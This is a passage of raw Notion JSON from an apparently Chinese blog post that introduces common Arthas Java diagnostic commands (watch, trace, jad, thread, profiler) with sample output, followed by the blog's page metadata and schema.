ock_aspect_ratio":0.7539267015706806,"block_preserve_scale":true},"created_time":1710903105660,"last_edited_time":1710903112293,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["3e9b7e84-080a-4392-9503-3a4345994ca0"]}},"4fcb29e1-90ad-4736-b951-b048e8b490f4":{"value":{"id":"4fcb29e1-90ad-4736-b951-b048e8b490f4","type":"text","properties":{"title":[["去宿主机部署代码,当看到succss就是成功了"]]},"created_time":1710903112799,"last_edited_time":1710905984555,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"c045edef-158c-4c43-a867-45748cdf2ed0":{"value":{"id":"c045edef-158c-4c43-a867-45748cdf2ed0","type":"image","properties":{"size":[["97.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/99c8dc77-8162-433d-8315-b38539f96c28/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/99c8dc77-8162-433d-8315-b38539f96c28/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.8309070548712206,"block_preserve_scale":true},"created_time":1710905970875,"last_edited_time":1710906571504,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["99c8dc77-8162-433d-8315-b38539f96c28"]}},"3c034094-e024-42f9-818d-fd49579543ab":{"value":{"id":"3c034094-e024-42f9-818d-fd49579543ab","type":"text","created_time":1710901423956,"last_edited_time":1710906344576,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"3991bb35-efa4-4722-a269-9f80ad3e5a89":{"value":{"id":"3991bb35-efa4-4722-a269-9f80ad3e5a89","type":"header","properties":{"title":[["常用命令"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710901443441,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"10f81046-c412-4a78-b051-1cec7d572d9c"}},"46c4c01d-bf1b-4ce0-8eda-5c0639b8453f":{"value":{"id":"46c4c01d-bf1b-4ce0-8eda-5c0639b8453f","type":"image","properties":{"size":[["189.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a64a490d-b29d-4ba1-8be9-96d62264806d/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a64a490d-b29d-4ba1-8be9-96d62264806d/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6185567010309279,"block_preserve_scale":true},"created_time":1710906683245,"last_edited_time":1710906688096,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["a64a490d-b29d-4ba1-8be9-96d62264806d"]}},"91a2fac9-d67e-4eb6-8f80-ce12aa78557c":{"value":{"id":"91a2fac9-d67e-4eb6-8f80-ce12aa78557c","type":"sub_header","properties":{"title":[["watch"]]},"created_time":1710901434875,"last_edited_time":1710901445307,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"5e155fc2-041f-4ac4-9863-f257c6ae8d99":{"value":{"id":"5e155fc2-041f-4ac4-9863-f257c6ae8d99","type":"code","properties":{"title":[["#观察方法出入参+报错\nwatch com.xxx.AppUserController sendSms '{params,returnObj,throwExp}'  -n 5  -x 3\n\n#输出\nts=2024-03-20 11:53:00; [cost=0.021166ms] result=@ArrayList[\n    @Object[][\n        @String[312],\n        @Integer[213],\n    ],\n    @R[\n        serialVersionUID=@Long[1],\n        code=@Integer[0],\n        message=null,\n        data=null,\n        success=@Boolean[true],\n        timestamp=@Long[1710906780811],\n    ],\n    null,\n]\nmethod=com.x.AppUserController$$EnhancerBySpringCGLIB$$3b34f282.sendSms location=AtExit\nts=2024-03-20 11:53:00; [cost=2.907583ms] result=@ArrayList[\n    @Object[][\n        @String[312],\n        @Integer[213],\n    ],\n    @R[\n        serialVersionUID=@Long[1],\n        code=@Integer[0],\n        message=null,\n        data=null,\n        success=@Boolean[true],\n        timestamp=@Long[1710906780811],\n    ],\n    null,\n]\n "]],"language":[["Bash"]]},"created_time":1710906693642,"last_edited_time":1710906797252,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"a70ea93f-49bc-44eb-9af4-58311b9e22a0":{"value":{"id":"a70ea93f-49bc-44eb-9af4-58311b9e22a0","type":"sub_header","properties":{"title":[["trace"]]},"created_time":1710901445747,"last_edited_time":1710906821342,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"5b9a3023-17e9-4d71-9a01-b90ada81a321":{"value":{"id":"5b9a3023-17e9-4d71-9a01-b90ada81a321","type":"code","properties":{"title":[["#追踪搞方法调用\ntrace com.x.AppUserController sendSms  -n 5 --skipJDKMethod false \n\n#输出\nAffect(class count: 2 , method count: 2) cost in 150 ms, listenerId: 3\n`---ts=2024-03-20 11:54:11;thread_name=XNIO-1 task-1;id=106;is_daemon=false;priority=5;TCCL=sun.misc.Launcher$AppClassLoader@18b4aac2\n    `---[1.246583ms] com.x.AppUserController$$EnhancerBySpringCGLIB$$3b34f282:sendSms()\n        `---[95.80% 1.19425ms ] org.springframework.cglib.proxy.MethodInterceptor:intercept()\n            `---[3.87% 0.04625ms ] com.x.AppUserController:sendSms()\n                `---[32.70% 0.015125ms ] com.x.R:ok() #57"]],"language":[["Bash"]]},"created_time":1710906812040,"last_edited_time":1710906871141,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"309ea1f2-8e10-48f9-8990-6192b5ecf2dc":{"value":{"id":"309ea1f2-8e10-48f9-8990-6192b5ecf2dc","type":"sub_header","properties":{"title":[["jad"]]},"created_time":1710901448030,"last_edited_time":1710906897791,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"28f29155-ccfb-4e5c-a590-530707efde4e":{"value":{"id":"28f29155-ccfb-4e5c-a590-530707efde4e","type":"code","properties":{"title":[["#主要用于对比线上代码\njad com.x.AppUserController"]],"language":[["Bash"]]},"created_time":1710906887349,"last_edited_time":1710906920113,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"72c01b35-1a16-4630-8517-0ef7f56a4958":{"value":{"id":"72c01b35-1a16-4630-8517-0ef7f56a4958","type":"image","properties":{"size":[["84.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a9abc042-0739-4a92-ba55-afaee3c4c751/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a9abc042-0739-4a92-ba55-afaee3c4c751/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.45493562231759654,"block_preserve_scale":true},"created_time":1710906945009,"last_edited_time":1710906950491,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["a9abc042-0739-4a92-ba55-afaee3c4c751"]}},"39acdf62-e65e-4362-a2ff-92efffb2eea9":{"value":{"id":"39acdf62-e65e-4362-a2ff-92efffb2eea9","type":"sub_header","properties":{"title":[["thread"]]},"created_time":1710901450059,"last_edited_time":1710906987529,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"110b2916-df77-4445-a6f5-5a7f700f14e0":{"value":{"id":"110b2916-df77-4445-a6f5-5a7f700f14e0","type":"code","properties":{"title":[["#查询资源占用最高的线程\nthread -n 1\n\n#输出\n\"arthas-command-execute\" Id=131 cpuUsage=3.35% deltaTime=7ms time=739ms RUNNABLE\n    at sun.management.ThreadImpl.dumpThreads0(Native Method)\n    at sun.management.ThreadImpl.getThreadInfo(ThreadImpl.java:461)\n    at com.taobao.arthas.core.command.monitor200.ThreadCommand.processTopBusyThreads(ThreadCommand.java:206)\n    at com.taobao.arthas.core.command.monitor200.ThreadCommand.process(ThreadCommand.java:122)\n    at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl.process(AnnotatedCommandImpl.java:82)\n    at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl.access$100(AnnotatedCommandImpl.java:18)\n    at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl$ProcessHandler.handle(AnnotatedCommandImpl.java:111)\n    at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl$ProcessHandler.handle(AnnotatedCommandImpl.java:108)\n    at com.taobao.arthas.core.shell.system.impl.ProcessImpl$CommandProcessTask.run(ProcessImpl.java:385)\n    at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)\n    at java.util.concurrent.FutureTask.run$$$capture(FutureTask.java:266)\n    at java.util.concurrent.FutureTask.run(FutureTask.java)\n    at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:180)\n    at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:293)\n    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)\n    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)\n    at java.lang.Thread.run(Thread.java:750)\n"]],"language":[["Bash"]]},"created_time":1710906965748,"last_edited_time":1710907009357,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"6ba8ddd5-4df3-4bf4-a8c2-3154d9404a97":{"value":{"id":"6ba8ddd5-4df3-4bf4-a8c2-3154d9404a97","type":"sub_header","properties":{"title":[["profiler",[["b"],["b"]]],["\n"]]},"created_time":1710901458327,"last_edited_time":1710901579890,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"713edbb3-17cd-4bb8-91c5-4a500b3a8994":{"value":{"id":"713edbb3-17cd-4bb8-91c5-4a500b3a8994","type":"code","properties":{"title":[["#开始\nprofiler start\n\n#结束\nprofiler stop\n\n#profiler output file: 0320-115804.html\n#可以分析cpu占用情况"]],"language":[["Bash"]]},"created_time":1710907067208,"last_edited_time":1710907145599,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"23e941c9-ce06-4f1b-af06-6bccec2d3ea4":{"value":{"id":"23e941c9-ce06-4f1b-af06-6bccec2d3ea4","type":"image","properties":{"size":[["80.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/09a367be-1cfb-4d2f-9052-7e0f3016a150/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/09a367be-1cfb-4d2f-9052-7e0f3016a150/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.4722863741339492,"block_preserve_scale":true},"created_time":1710907126483,"last_edited_time":1710907132935,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["09a367be-1cfb-4d2f-9052-7e0f3016a150"]}},"bb1503ec-72a1-49b0-bfc0-5514d3749738":{"value":{"id":"bb1503ec-72a1-49b0-bfc0-5514d3749738","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710900523641,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"5d496523-f3ac-4297-ab9d-49946de020e0":{"value":{"id":"5d496523-f3ac-4297-ab9d-49946de020e0","type":"bulleted_list","properties":{"title":[["arthas热部署很好用,注意限制"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710907028613,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"abe817d3-4a91-4f84-aed1-113eab9e33ea":{"value":{"id":"abe817d3-4a91-4f84-aed1-113eab9e33ea","type":"bulleted_list","properties":{"title":[["介绍了常见的几个cmd"]]},"created_time":1710907028924,"last_edited_time":1710907040685,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"b7688c06-839f-475f-99d8-092a08b7e21d":{"value":{"id":"b7688c06-839f-475f-99d8-092a08b7e21d","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05":{"value":{"id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","type":"column_list","content":["08b983f6-4c29-44d6-9bbc-d56cde7ee3df","f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","b05adf15-e470-40ac-b755-5f24225e2c1f"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"08b983f6-4c29-44d6-9bbc-d56cde7ee3df":{"value":{"id":"08b983f6-4c29-44d6-9bbc-d56cde7ee3df","type":"column","content":["ee0f9627-898a-4467-a5a0-6620126e3153"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6":{"value":{"id":"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","type":"column","content":["ed7bb86a-e468-4bbc-94c0-d66e88cabe84","a3483dad-5468-4b87-89eb-de9d4f7e17f9"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"b05adf15-e470-40ac-b755-5f24225e2c1f":{"value":{"id":"b05adf15-e470-40ac-b755-5f24225e2c1f","type":"column","content":["45f58361-42f3-4de5-ae99-a1174d6fdd08"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"ee0f9627-898a-4467-a5a0-6620126e3153":{"value":{"id":"ee0f9627-898a-4467-a5a0-6620126e3153","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"08b983f6-4c29-44d6-9bbc-d56cde7ee3df","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"ed7bb86a-e468-4bbc-94c0-d66e88cabe84":{"value":{"id":"ed7bb86a-e468-4bbc-94c0-d66e88cabe84","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"45f58361-42f3-4de5-ae99-a1174d6fdd08":{"value":{"id":"45f58361-42f3-4de5-ae99-a1174d6fdd08","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710900523644,"last_edited_time":1710900523644,"parent_id":"b05adf15-e470-40ac-b755-5f24225e2c1f","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"a3483dad-5468-4b87-89eb-de9d4f7e17f9":{"value":{"id":"a3483dad-5468-4b87-89eb-de9d4f7e17f9","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"27f5381c-4c90-4bf9-ad1d-be7f972dfced":{"value":{"id":"27f5381c-4c90-4bf9-ad1d-be7f972dfced","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2